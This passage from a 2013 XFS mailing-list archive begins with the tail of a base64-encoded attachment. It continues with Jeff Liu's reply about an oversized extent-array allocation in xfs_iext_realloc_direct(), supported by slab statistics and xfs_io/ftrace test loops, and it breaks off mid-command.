Mzc4MzcgMDAwMDAgbiAKMDAwMDAzODEwMyAwMDAwMCBuIAowMDAwMDM4MzgxIDAwMDAwIG4gCjAw MDAwMzg2NTEgMDAwMDAgbiAKMDAwMDAzODkxNyAwMDAwMCBuIAowMDAwMDM5MTg5IDAwMDAwIG4g CjAwMDAwMzk0NjQgMDAwMDAgbiAKMDAwMDAzOTcyNyAwMDAwMCBuIAowMDAwMDQwMDA1IDAwMDAw IG4gCjAwMDAwNDAyNzEgMDAwMDAgbiAKMDAwMDA0MDU1OCAwMDAwMCBuIAowMDAwMDQwODI0IDAw MDAwIG4gCjAwMDAwNDEwOTYgMDAwMDAgbiAKMDAwMDA0MTM2NiAwMDAwMCBuIAowMDAwMDQxNjMy IDAwMDAwIG4gCjAwMDAwNDE4MzcgMDAwMDAgbiAKMDAwMDA0MjExMiAwMDAwMCBuIAowMDAwMDQy Mzg3IDAwMDAwIG4gCjAwMDAwNDI2NTMgMDAwMDAgbiAKMDAwMDA0Mjk0MCAwMDAwMCBuIAowMDAw MDQzMjA2IDAwMDAwIG4gCjAwMDAwNDM0MDggMDAwMDAgbiAKMDAwMDA0MzcwMiAwMDAwMCBuIAow MDAwMDQzOTY4IDAwMDAwIG4gCjAwMDAwNDQyNDAgMDAwMDAgbiAKMDAwMDA0NDUxMCAwMDAwMCBu IAowMDAwMDQ0NzczIDAwMDAwIG4gCjAwMDAwNDUwNDUgMDAwMDAgbiAKMDAwMDA0NTMyMCAwMDAw MCBuIAowMDAwMDQ1NTg5IDAwMDAwIG4gCjAwMDAwNDU4NzMgMDAwMDAgbiAKMDAwMDA0NjE0MiAw MDAwMCBuIAowMDAwMDQ2NDI5IDAwMDAwIG4gCjAwMDAwNDY2OTIgMDAwMDAgbiAKMDAwMDA0Njk3 MCAwMDAwMCBuIAowMDAwMDQ3MjQwIDAwMDAwIG4gCjAwMDAwNDc1MDYgMDAwMDAgbiAKMDAwMDA0 NzgwMCAwMDAwMCBuIAowMDAwMDQ4MDAyIDAwMDAwIG4gCjAwMDAwNDgyMDcgMDAwMDAgbiAKMDAw MDA0ODQ4MiAwMDAwMCBuIAowMDAwMDQ4NzQ4IDAwMDAwIG4gCjAwMDAwNDg5NTMgMDAwMDAgbiAK MDAwMDA0OTIzNCAwMDAwMCBuIAowMDAwMDQ5NTA2IDAwMDAwIG4gCjAwMDAwNDk3OTAgMDAwMDAg biAKMDAwMDA1MDA1NiAwMDAwMCBuIAowMDAwMDUwMzI4IDAwMDAwIG4gCjAwMDAwNTA2MDAgMDAw MDAgbiAKMDAwMDA1MDg2NiAwMDAwMCBuIAowMDAwMDUxMTY5IDAwMDAwIG4gCjAwMDAwNTE0NDQg MDAwMDAgbiAKMDAwMDA1MTY0NiAwMDAwMCBuIAowMDAwMDUxOTE1IDAwMDAwIG4gCjAwMDAwNTIx OTYgMDAwMDAgbiAKMDAwMDA1MjQ3MSAwMDAwMCBuIAowMDAwMDUyNzU4IDAwMDAwIG4gCjAwMDAw NTMwMjQgMDAwMDAgbiAKMDAwMDA1MzI5OSAwMDAwMCBuIAowMDAwMDUzNTY5IDAwMDAwIG4gCjAw MDAwNTM4MzggMDAwMDAgbiAKMDAwMDA1NDEzOCAwMDAwMCBuIAowMDAwMDU0MzQwIDAwMDAwIG4g CjAwMDAwNTQ2MTUgMDAwMDAgbiAKMDAwMDA1NDgxNyAwMDAwMCBuIAowMDAwMDU1MDg5IDAwMDAw IG4gCjAwMDAwNTUzNzAgMDAwMDAgbiAKMDAwMDA1NTY0NSAwMDAwMCBuIAowMDAwMDU1OTI5IDAw MDAwIG4gCjAwMDAwNTYxOTUgMDAwMDAgbiAKMDAwMDA1NjQ2NyAwMDAwMCBuIAowMDAwMDU2NzM3 IDAwMDAwIG4gCjAwMDAwNTcwMDYgMDAwMDAgbiAKMDAwMDA1NzMwNiAwMDAwMCBuIAowMDAwMDU3 NTc4IDAwMDAwIG4gCjAwMDAwNTc4NDcgMDAwMDAgbiAKMDAwMDA1ODExOSAwMDAwMCBuIAowMDAw MDU4Mzk0IDAwMDAwIG4gCjAwMDAwNTg2NzggMDAwMDAgbiAKMDAwMDA1ODk0NyAwMDAwMCBuIAow MDAwMDU5MjE5IDAwMDAwIG4gCjAwMDAwNTk0ODkgMDAwMDAgbiAKMDAwMDA1OTc1NSAwMDAwMCBu IAowMDAwMDYwMDc2IDAwMDAwIG4gCjAwMDAwNjAzNTEgMDAwMDAgbiAKMDAwMDA2MDYyMyAwMDAw MCBuIAowMDAwMDYwOTA0IDAwMDAwIG4gCjAwMDAwNjExNzkgMDAwMDAgbiAKMDAwMDA2MTQ2MyAw MDAwMCBuIAowMDAwMDYxNzMyIDAwMDAwIG4gCjAwMDAwNjIwMDQgMDAwMDAgbiAKMDAwMDA2MjI3 NCAwMDAwMCBuIAowMDAwMDYyNTQwIDAwMDAwIG4gCjAwMDAwNjI4NDMgMDAwMDAgbiAKMDAwMDA2 MzEyNCAwMDAwMCBuIAowMDAwMDYzMzk2IDAwMDAwIG4gCjAwMDAwNjM2MDEgMDAwMDAgbiAKMDAw MDA2Mzg3OCAwMDAwMCBuIAowMDAwMDY0MTUzIDAwMDAwIG4gCjAwMDAwNjQ0NDAgMDAwMDAgbiAK MDAwMDA2NDcwOSAwMDAwMCBuIAowMDAwMDY0OTg0IDAwMDAwIG4gCjAwMDAwNjUyNTQgMDAwMDAg biAKMDAwMDA2NTYxNyAwMDAwMCBuIAowMDAwMDY1OTA0IDAwMDAwIG4gCjAwMDAwNjYxMDkgMDAw MDAgbiAKMDAwMDA2NjM4NCAwMDAwMCBuIAowMDAwMDY2NTg2IDAwMDAwIG4gCjAwMDAwNjY4NjQg MDAwMDAgbiAKMDAwMDA2NzEzOSAwMDAwMCBuIAowMDAwMDY3NDE2IDAwMDAwIG4gCjAwMDAwNjc2 ODggMDAwMDAgbiAKMDAwMDA2Nzk1NyAwMDAwMCBuIAowMDAwMDY4MjI3IDAwMDAwIG4gCjAwMDAw Njg1NzUgMDAwMDAgbiAKMDAwMDA2ODg2MiAwMDAwMCBuIAowMDAwMDY5MDY0IDAwMDAwIG4gCjAw MDAwNjkzMzkgMDAwMDAgbiAKMDAwMDA2OTYxNyAwMDAwMCBuIAowMDAwMDY5ODk1IDAwMDAwIG4g CjAwMDAwNzAxNzYgMDAwMDAgbiAKMDAwMDA3MDQ0OCAwMDAwMCBuIAowMDAwMDcwNzE3IDAwMDAw IG4gCjAwMDAwNzA5ODcgMDAwMDAgbiAKMDAwMDA3MTMxMSAwMDAwMCBuIAowMDAwMDcxNTg5IDAw MDAwIG4gCjAwMDAwNzE4MzggMDAwMDAgbiAKMDAwMDA3MjA0MCAwMDAwMCBuIAowMDAwMDcyMzE1 IDAwMDAwIG4gCjAwMDAwNzI1OTMgMDAwMDAgbiAKMDAwMDA3Mjg3NCAwMDAwMCBuIAowMDAwMDcz MTUyIDAwMDAwIG4gCjAwMDAwNzM0MjQgMDAwMDAgbiAKMDAwMDA3MzY5MCAwMDAwMCBuIAowMDAw MDczOTk5IDAwMDAwIG4gCjAwMDAwNzQyMDEgMDAwMDAgbiAKMDAwMDA3NDQ4NSAwMDAwMCBuIAow MDAwMDc0ODE5IDAwMDAwIG4gCjAwMDAwNzUwOTcgMDAwMDAgbiAKMDAwMDA3NTM3NSAwMDAwMCBu IAowMDAwMDc1NjU2IDAwMDAwIG4gCjAwMDAwNzU5MzQgMDAwMDAgbiAKMDAwMDA3NjIwOSAwMDAw MCBuIAowMDAwMDc2NDc1IDAwMDAwIG4gCjAwMDAwNzY3NDUgMDAwMDAgbiAKMDAwMDA3NzAyMCAw MDAwMCBuIAowMDAwMDc3MzAxIDAwMDAwIG4gCjAwMDAwNzc2NjIgMDAwMDAgbiAKMDAwMDA3Nzk0 MCAwMDAwMCBuIAowMDAwMDc4MTQyIDAwMDAwIG4gCjAwMDAwNzg0MTQgMDAwMDAgbiAKMDAwMDA3 ODY5MiAwMDAwMCBuIAowMDAwMDc4OTcwIDAwMDAwIG4gCjAwMDAwNzkyNDggMDAwMDAgbiAKMDAw MDA3OTUxMSAwMDAwMCBuIAowMDAwMDc5NzEzIDAwMDAwIG4gCjAwMDAwNzk5ODMgMDAwMDAgbiAK MDAwMDA4MDI1OCAwMDAwMCBuIAowMDAwMDgwNTUyIDAwMDAwIG4gCjAwMDAwODA5MjcgMDAwMDAg biAKMDAwMDA4MTIwOCAwMDAwMCBuIAowMDAwMDgxNDgwIDAwMDAwIG4gCjAwMDAwODE3NjEgMDAw MDAgbiAKMDAwMDA4MTk2MyAwMDAwMCBuIAowMDAwMDgyMjQ0IDAwMDAwIG4gCjAwMDAwODI1MjIg MDAwMDAgbiAKMDAwMDA4Mjc4MiAwMDAwMCBuIAowMDAwMDgzMDUyIDAwMDAwIG4gCjAwMDAwODMz MzAgMDAwMDAgbiAKMDAwMDA4MzYyNyAwMDAwMCBuIAowMDAwMDgzODMyIDAwMDAwIG4gCjAwMDAw ODQyMDcgMDAwMDAgbiAKMDAwMDA4NDQ4MSAwMDAwMCBuIAowMDAwMDg0NzUzIDAwMDAwIG4gCjAw MDAwODUwMzQgMDAwMDAgbiAKMDAwMDA4NTI0MyAwMDAwMCBuIAowMDAwMDg1NTMwIDAwMDAwIG4g CjAwMDAwODU4MDggMDAwMDAgbiAKMDAwMDA4NjAxMCAwMDAwMCBuIAowMDAwMDg2Mjc2IDAwMDAw IG4gCjAwMDAwODY1NDYgMDAwMDAgbiAKMDAwMDA4NjgyNCAwMDAwMCBuIAowMDAwMDg3MTEwIDAw MDAwIG4gCjAwMDAwODczMTIgMDAwMDAgbiAKMDAwMDA4NzY3NSAwMDAwMCBuIAowMDAwMDg3OTUx IDAwMDAwIG4gCjAwMDAwODgyMjMgMDAwMDAgbiAKMDAwMDA4ODUwNCAwMDAwMCBuIAowMDAwMDg4 Nzg1IDAwMDAwIG4gCjAwMDAwODkwNjkgMDAwMDAgbiAKMDAwMDA4OTI3NCAwMDAwMCBuIAowMDAw MDg5NTQwIDAwMDAwIG4gCjAwMDAwODk4MTAgMDAwMDAgbiAKMDAwMDA5MDA4MiAwMDAwMCBuIAow MDAwMDkwMzczIDAwMDAwIG4gCjAwMDAwOTA1NzggMDAwMDAgbiAKMDAwMDA5MDg1NiAwMDAwMCBu IAowMDAwMDkxMDU4IDAwMDAwIG4gCjAwMDAwOTEzMzMgMDAwMDAgbiAKMDAwMDA5MTYwMiAwMDAw MCBuIAowMDAwMDkxODgzIDAwMDAwIG4gCjAwMDAwOTIxNTggMDAwMDAgbiAKMDAwMDA5MjU0OCAw MDAwMCBuIAowMDAwMDkyODE4IDAwMDAwIG4gCjAwMDAwOTMwOTkgMDAwMDAgbiAKMDAwMDA5MzM5 MyAwMDAwMCBuIAowMDAwMDkzNjY4IDAwMDAwIG4gCjAwMDAwOTM4ODAgMDAwMDAgbiAKMDAwMDA5 NDE2MSAwMDAwMCBuIAowMDAwMDk0NDMzIDAwMDAwIG4gCjAwMDAwOTQ3MTcgMDAwMDAgbiAKMDAw MDA5NDk5MiAwMDAwMCBuIAowMDAwMDk1MzYxIDAwMDAwIG4gCjAwMDAwOTU2MzEgMDAwMDAgbiAK MDAwMDA5NTkxOCAwMDAwMCBuIAowMDAwMDk2MjE1IDAwMDAwIG4gCjAwMDAwOTY0OTkgMDAwMDAg biAKMDAwMDA5Njc4MCAwMDAwMCBuIAowMDAwMDk2OTgyIDAwMDAwIG4gCjAwMDAwOTcyNTEgMDAw MDAgbiAKMDAwMDA5NzUzOCAwMDAwMCBuIAowMDAwMDk3ODA3IDAwMDAwIG4gCjAwMDAwOTgxNjcg MDAwMDAgbiAKMDAwMDA5ODQzNyAwMDAwMCBuIAowMDAwMDk4NzI0IDAwMDAwIG4gCjAwMDAwOTg5 MjYgMDAwMDAgbiAKMDAwMDA5OTIyNiAwMDAwMCBuIAowMDAwMDk5NDMxIDAwMDAwIG4gCjAwMDAw OTk3MTIgMDAwMDAgbiAKMDAwMDA5OTk5NiAwMDAwMCBuIAowMDAwMTAwMjcxIDAwMDAwIG4gCjAw MDAxMDA1NjUgMDAwMDAgbiAKMDAwMDEwMDc3MiAwMDAwMCBuIAowMDAwMTAxMDQxIDAwMDAwIG4g CjAwMDAxMDEyNDMgMDAwMDAgbiAKMDAwMDEwMTU3OSAwMDAwMCBuIAowMDAwMTAxODQ4IDAwMDAw IG4gCjAwMDAxMDIxMzUgMDAwMDAgbiAKMDAwMDEwMjM0MCAwMDAwMCBuIAowMDAwMTAyNjQzIDAw MDAwIG4gCjAwMDAxMDI5MjQgMDAwMDAgbiAKMDAwMDEwMzIwMiAwMDAwMCBuIAowMDAwMTAzNDA3 IDAwMDAwIG4gCjAwMDAxMDM2NzkgMDAwMDAgbiAKMDAwMDEwMzk3MyAwMDAwMCBuIAowMDAwMTA0 MTgyIDAwMDAwIG4gCjAwMDAxMDQ0NTQgMDAwMDAgbiAKMDAwMDEwNDc3NSAwMDAwMCBuIAowMDAw MTA1MDQ1IDAwMDAwIG4gCjAwMDAxMDUzMzYgMDAwMDAgbiAKMDAwMDEwNTU0MSAwMDAwMCBuIAow MDAwMTA1ODQxIDAwMDAwIG4gCjAwMDAxMDYwNDMgMDAwMDAgbiAKMDAwMDEwNjMyNyAwMDAwMCBu IAowMDAwMTA2NjA4IDAwMDAwIG4gCjAwMDAxMDY4MTAgMDAwMDAgbiAKMDAwMDEwNzAxNSAwMDAw MCBuIAowMDAwMTA3Mjg0IDAwMDAwIG4gCjAwMDAxMDc1NzQgMDAwMDAgbiAKMDAwMDEwNzg1MiAw MDAwMCBuIAowMDAwMTA4MTI3IDAwMDAwIG4gCjAwMDAxMDgzOTcgMDAwMDAgbiAKMDAwMDEwODY5 NCAwMDAwMCBuIAowMDAwMTA5MDAwIDAwMDAwIG4gCjAwMDAxMDkyODQgMDAwMDAgbiAKMDAwMDEw OTU2OCAwMDAwMCBuIAowMDAwMTA5ODM0IDAwMDAwIG4gCjAwMDAxMTAxMjggMDAwMDAgbiAKMDAw MDExMDQwMCAwMDAwMCBuIAowMDAwMTEwNjA5IDAwMDAwIG4gCjAwMDAxMTA4ODQgMDAwMDAgbiAK MDAwMDExMTE1NiAwMDAwMCBuIAowMDAwMTExNDU5IDAwMDAwIG4gCjAwMDAxMTE2ODggMDAwMDAg biAKMDAwMDExMTg5MCAwMDAwMCBuIAowMDAwMTEyMjA1IDAwMDAwIG4gCjAwMDAxMTI0ODcgMDAw MDAgbiAKMDAwMDExMjc3MSAwMDAwMCBuIAowMDAwMTEzMDQwIDAwMDAwIG4gCjAwMDAxMTMzMzcg MDAwMDAgbiAKMDAwMDExMzYwNiAwMDAwMCBuIAowMDAwMTEzODc5IDAwMDAwIG4gCjAwMDAxMTQx NTQgMDAwMDAgbiAKMDAwMDExNDM1OSAwMDAwMCBuIAowMDAwMTE0NTYxIDAwMDAwIG4gCjAwMDAx MTQ4NzkgMDAwMDAgbiAKMDAwMDExNTEzMCAwMDAwMCBuIAowMDAwMTE1NDM3IDAwMDAwIG4gCjAw MDAxMTU3MjEgMDAwMDAgbiAKMDAwMDExNTkzMCAwMDAwMCBuIAowMDAwMTE2MjIwIDAwMDAwIG4g CjAwMDAxMTY0MjUgMDAwMDAgbiAKMDAwMDExNjcwOSAwMDAwMCBuIAowMDAwMTE3MDEyIDAwMDAw IG4gCjAwMDAxMTcyOTAgMDAwMDAgbiAKMDAwMDExNzU4MCAwMDAwMCBuIAowMDAwMTE3OTAxIDAw MDAwIG4gCjAwMDAxMTgzMjEgMDAwMDAgbiAKMDAwMDExODYzOSAwMDAwMCBuIAowMDAwMTE4OTIz IDAwMDAwIG4gCjAwMDAxMTkyMjAgMDAwMDAgbiAKMDAwMDExOTQ5MiAwMDAwMCBuIAowMDAwMTE5 OTA5IDAwMDAwIG4gCjAwMDAxMjAxOTkgMDAwMDAgbiAKMDAwMDEyMDUzNSAwMDAwMCBuIAowMDAw MTIwOTQwIDAwMDAwIG4gCjAwMDAxMjEyODIgMDAwMDAgbiAKMDAwMDEyMTU4NSAwMDAwMCBuIAow MDAwMTIxOTkwIDAwMDAwIG4gCjAwMDAxMjIzOTUgMDAwMDAgbiAKMDAwMDEyMjY4OSAwMDAwMCBu IAowMDAwMTIyODk0IDAwMDAwIG4gCjAwMDAxMjMyMTkgMDAwMDAgbiAKMDAwMDEyMzYxNSAwMDAw MCBuIAowMDAwMTIzOTY2IDAwMDAwIG4gCjAwMDAxMjQxNzEgMDAwMDAgbiAKMDAwMDEyNDQ4NiAw MDAwMCBuIAowMDAwMTI0ODYxIDAwMDAwIG4gCjAwMDAxMjUyNDIgMDAwMDAgbiAKMDAwMDEyNTQ1 MCAwMDAwMCBuIAowMDAwMTI1NzY4IDAwMDAwIG4gCjAwMDAxMjYwOTUgMDAwMDAgbiAKMDAwMDEy NjI5NyAwMDAwMCBuIAowMDAwMTI2NjY5IDAwMDAwIG4gCjAwMDAxMjcyMDIgMDAwMDAgbiAKMDAw MDEyNzU1NiAwMDAwMCBuIAowMDAwMTI3OTE2IDAwMDAwIG4gCjAwMDAxMjgxMTggMDAwMDAgbiAK MDAwMDEyODQ4NyAwMDAwMCBuIAowMDAwMTI4NjkxIDAwMDAwIG4gCjAwMDAxMjkwMTIgMDAwMDAg biAKMDAwMDEyOTIxNyAwMDAwMCBuIAowMDAwMTI5NTYxIDAwMDAwIG4gCjAwMDAxMjk3NjYgMDAw MDAgbiAKMDAwMDEzMDI4NiAwMDAwMCBuIAowMDAwMTMwNjA0IDAwMDAwIG4gCjAwMDAxMzA5MTYg MDAwMDAgbiAKMDAwMDEzMTExOCAwMDAwMCBuIAowMDAwMTMxNTEzIDAwMDAwIG4gCjAwMDAxMzE3 MTUgMDAwMDAgbiAKMDAwMDEzMjAzMCAwMDAwMCBuIAowMDAwMTMyNTIyIDAwMDAwIG4gCjAwMDAx MzI3OTUgMDAwMDAgbiAKMDAwMDEzMzA3MSAwMDAwMCBuIAowMDAwMTMzNTAzIDAwMDAwIG4gCjAw MDAxMzM3MDUgMDAwMDAgbiAKMDAwMDEzMzk4OSAwMDAwMCBuIAowMDAwMTM0NDMwIDAwMDAwIG4g CjAwMDAxMzQ4NzcgMDAwMDAgbiAKMDAwMDEzNTI0OSAwMDAwMCBuIAowMDAwMTM1NTc2IDAwMDAw IG4gCjAwMDAxMzU4NzYgMDAwMDAgbiAKMDAwMDEzNjA3OCAwMDAwMCBuIAowMDAwMTM2MzIxIDAw MDAwIG4gCjAwMDAxMzY2MDIgMDAwMDAgbiAKMDAwMDEzNjg4MyAwMDAwMCBuIAowMDAwMTM3MDg1 IDAwMDAwIG4gCjAwMDAxMzczNjAgMDAwMDAgbiAKMDAwMDEzNzY0NyAwMDAwMCBuIAowMDAwMTM3 OTI4IDAwMDAwIG4gCjAwMDAxMzgyMDYgMDAwMDAgbiAKMDAwMDEzODQ4MSAwMDAwMCBuIAowMDAw MTM4NzUwIDAwMDAwIG4gCjAwMDAxMzkwMjIgMDAwMDAgbiAKMDAwMDEzOTI4NSAwMDAwMCBuIAow MDAwMTM5NTUxIDAwMDAwIG4gCjAwMDAxMzk4MTEgMDAwMDAgbiAKMDAwMDE0MDA3NyAwMDAwMCBu IAowMDAwMTQwMzM3IDAwMDAwIG4gCjAwMDAxNDA2MDYgMDAwMDAgbiAKMDAwMDE0MDgwOCAwMDAw MCBuIAowMDAwMTQxMDYyIDAwMDAwIG4gCjAwMDAxNDEzMjYgMDAwMDAgbiAKMDAwMDE0MTU4MyAw MDAwMCBuIAowMDAwMTQxODU1IDAwMDAwIG4gCjAwMDAxNDIxMDYgMDAwMDAgbiAKMDAwMDE0MjM3 OCAwMDAwMCBuIAowMDAwMTQyNjI5IDAwMDAwIG4gCjAwMDAxNDI5MDQgMDAwMDAgbiAKMDAwMDE0 MzE1OCAwMDAwMCBuIAowMDAwMTQzNDMzIDAwMDAwIG4gCjAwMDAxNDM2OTMgMDAwMDAgbiAKMDAw MDE0Mzk3MiAwMDAwMCBuIAowMDAwMTQ0MjM4IDAwMDAwIG4gCjAwMDAxNDQ1MjggMDAwMDAgbiAK MDAwMDE0NDczMCAwMDAwMCBuIAowMDAwMTQ1MDAyIDAwMDAwIG4gCjAwMDAxNDU0NDAgMDAwMDAg biAKMDAwMDE0NTg3NSAwMDAwMCBuIAowMDAwMTQ2Mjk4IDAwMDAwIG4gCjAwMDAxNDY2OTIgMDAw MDAgbiAKMDAwMDE0NzAzOCAwMDAwMCBuIAowMDAwMTQ3MzQxIDAwMDAwIG4gCjAwMDAxNDc1OTgg MDAwMDAgbiAKMDAwMDE0NzgwMyAwMDAwMCBuIAowMDAwMTQ4MDEyIDAwMDAwIG4gCjAwMDAyMDE4 MjEgMDAwMDAgbiAKMDAwMDE1NzgyMCAwMDAwMCBuIAowMDAwMjAxOTI1IDAwMDAwIG4gCjAwMDAx NjkzMTAgMDAwMDAgbiAKMDAwMDIwMjAyOSAwMDAwMCBuIAowMDAwMjAyMTMzIDAwMDAwIG4gCjAw MDAyMDIzMzUgMDAwMDAgbiAKMDAwMDIwMjU2MSAwMDAwMCBuIAowMDAwMjAzNjA4IDAwMDAwIG4g CjAwMDAyMDM4MDUgMDAwMDAgbiAKMDAwMDIwNDAzMCAwMDAwMCBuIAowMDAwMjA1MTE1IDAwMDAw IG4gCjAwMDAyMDUzMTIgMDAwMDAgbiAKMDAwMDIwNTUzOCAwMDAwMCBuIAowMDAwMjA2NTg4IDAw MDAwIG4gCjAwMDAyMDY3OTUgMDAwMDAgbiAKMDAwMDIwNzAzMSAwMDAwMCBuIAowMDAwMTk4NTMz IDAwMDAwIG4gCjAwMDAxOTg3MzAgMDAwMDAgbiAKMDAwMDIwMDgyMCAwMDAwMCBuIAowMDAwMjAx MDAyIDAwMDAwIG4gCnRyYWlsZXIKPDwgCiAgIC9Sb290IDEgMCBSCiAgIC9JbmZvIDUgMCBSCiAg IC9TaXplIDU1Nwo+PgpzdGFydHhyZWYKMjA4MDgzCiUlRU9GCg== ------=_Part_6020_1052872574.1380015390808-- From jeff.liu@oracle.com Tue Sep 24 07:57:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E0AF67F4E for ; Tue, 24 Sep 2013 07:57:02 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id CE9298F8066 for ; Tue, 24 Sep 2013 05:56:59 -0700 (PDT) X-ASG-Debug-ID: 1380027417-04cbb02c3c1372500001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id Up6KgFnickR3FEMd (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 24 Sep 2013 05:56:58 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r8OCutAZ022309 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 24 Sep 2013 12:56:56 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8OCusC3009855 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 24 Sep 2013 12:56:55 GMT Received: from abhmt115.oracle.com (abhmt115.oracle.com [141.146.116.67]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8OCurw2015810; Tue, 24 Sep 2013 12:56:53 GMT Received: from [192.168.1.104] (/221.223.102.60) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 24 Sep 2013 05:56:53 -0700 Message-ID: <52418C3A.9080506@oracle.com> Date: Tue, 24 Sep 2013 20:57:30 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: Dave Chinner CC: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: fix the wrong new_size/rnew_size at xfs_iext_realloc_direct() References: <523EA96B.3040904@oracle.com> <20130923005657.GN12541@dastard> <523FC7DB.20204@oracle.com> <20130923235642.GY9901@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix the wrong new_size/rnew_size at xfs_iext_realloc_direct() In-Reply-To: <20130923235642.GY9901@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1380027418 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140883 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 09/24/2013 07:56 AM, Dave Chinner wrote: > On Mon, Sep 23, 2013 at 12:47:23PM +0800, Jeff Liu wrote: >> Hi Dave, >> >> On 09/23/2013 08:56 AM, Dave Chinner wrote: >> >>> On Sun, Sep 22, 2013 at 04:25:15PM +0800, Jeff Liu wrote: >>>> From: Jie Liu >>>> >>>> At xfs_iext_realloc_direct(), the new_size is changed by adding >>>> if_bytes if originally the extent records are stored at the inline >>>> extent buffer, and we have to switch from it to a direct extent >>>> list for those new allocated extents, this is wrong. e.g, >>>> >>>> Create a file with three extents which was showing as following, >>>> >>>> xfs_io -f -c "truncate 100m" /xfs/testme >>>> >>>> for i in $(seq 0 5 10); do >>>> offset=$(($i * $((1 << 20)))) >>>> xfs_io -c "pwrite $offset 1m" /xfs/testme >>>> done >>>> >>>> Inline >>>> ------ >>>> irec: if_bytes bytes_diff new_size >>>> 1st 0 16 16 >>>> 2nd 16 16 32 >>>> >>>> Switching >>>> --------- rnew_size >>>> 3rd 32 16 48 + 32 = 80 roundup=128 >>>> >>>> In this case, the desired value of new_size should be 48, and then >>>> it will be roundup to 64 and be assigned to rnew_size. >>> >>> Ok, so it allocates 128 bytes instead of 64 bytes. It tracks that >>> allocation size correctly ifp->if_real_bytes, and all it means is >>> that there are 4 empty extra slots in the extent array. The code >>> already handles having empty slots in the direct extent array, so >>> what impact is there as a result of the oversized initial allocation >>> that is currently happening? >>> >>> i.e. if fixing the oversized results in more memory allocations due >>> to resizing more regularly, then is there a benefit to changing this >>> code given that the rewrite of the ifp->if_bytes value in the case >>> where we do inline->direct conversion prevents this over-allocation >>> from being a problem... >> >> I guess my current patch subject/description mislead you. The result >> of the oversized can be ignored since this can be handled in the direct >> extent array as empty slots. > > That's what I thought ;) > >> Actually, what I want to say is that we don't need to perform >> "new_size += ifp->if_bytes;" again at xfs_iext_realloc_direct() >> because the new_size at xfs_iext_add() already be the size of >> extents after adding, just as the variable comments is mentioned. > > Yes, I understand. > > What I'm really asking is that whether there is any specific impact > you can measure as a result of changing the initial allocation size? > i.e. are there workloads where there is a measurable difference in > memory footprint or noticable performance impact of having to > reallocate the direct array more frequently as files grow and/or > shrink? Not yet observed any performance matter, but IMO this problem can cause difference in dynamic memory footprint for creating a large number of files with 3 extents and with additional kmalloc/kfree overhead for 4 extents file. For the first case, the current code will allocate buffers from kmalloc-128 slab cache rather than kmalloc-64, hence it would occupy more memory until being dropped from the cache, e.g, # Create 10240 files with 3 extents for ((i=0; i<10240; i++)) do xfs_io -f -c 'truncate 10m' /xfs/test_$i xfs_io -c 'pwrite 0 1' /xfs/test_$i 2>&1 >>/dev/null xfs_io -c 'pwrite 1m 1' /xfs/test_$i 2>&1 >>/dev/null xfs_io -c 'pwrite 5m 1' /xfs/test_$i 2>&1 >>/dev/null done # cat /proc/slab_info # name ... # Non-patched -- before creating files kmalloc-128 5391 6176 128 32 1 kmalloc-64 21852 25152 64 64 1 # After that -- the number of objects in 128 slab increased significantly, while there basically no change in 64 slab kmalloc-128 15381 15488 128 32 1 kmalloc-64 21958 25088 64 64 1 # patched -- before creating files kmalloc-128 5751 7072 128 32 1 kmalloc-64 21420 24896 64 64 1 After after kmalloc-128 6155 6688 128 32 1 kmalloc-64 30464 30464 64 64 1 With this patch, we can reduce the memory footprint for this particular scenario. For the 2nd case, i.e, 4 extents file. It need to resize the direct extent list to add the fourth extent because rnew_bytes is be re-initialized to 64 at the beginning of xfs_iext_realloc_direct(), however the ifp->if_real_bytes is 128... I can not think out a convenient approach(perf kmem not works on working laptop for now) to demonstrate the consequence, but using ftrace to figure out the different number of kmalloc. e.g, # Creating 4096 files with 4 extents and fetch the # of kmalloc. echo 0 > /sys/kernel/debug/tracing/events/kmem/kmalloc/enable echo > /sys/kernel/debug/tracing/trace for ((i=0; i<4096; i++)) do xfs_io -f -c 'truncate 10m' /xfs/test_$i xfs_io -c 'pwrite 0 1' /xfs/test_$i 2>&1 >>/dev/null xfs_io -c 'pwrite 1m 1' /xfs/test_$i 2>&1 >>/dev/null xfs_io -c 'pwrite 5m 1' 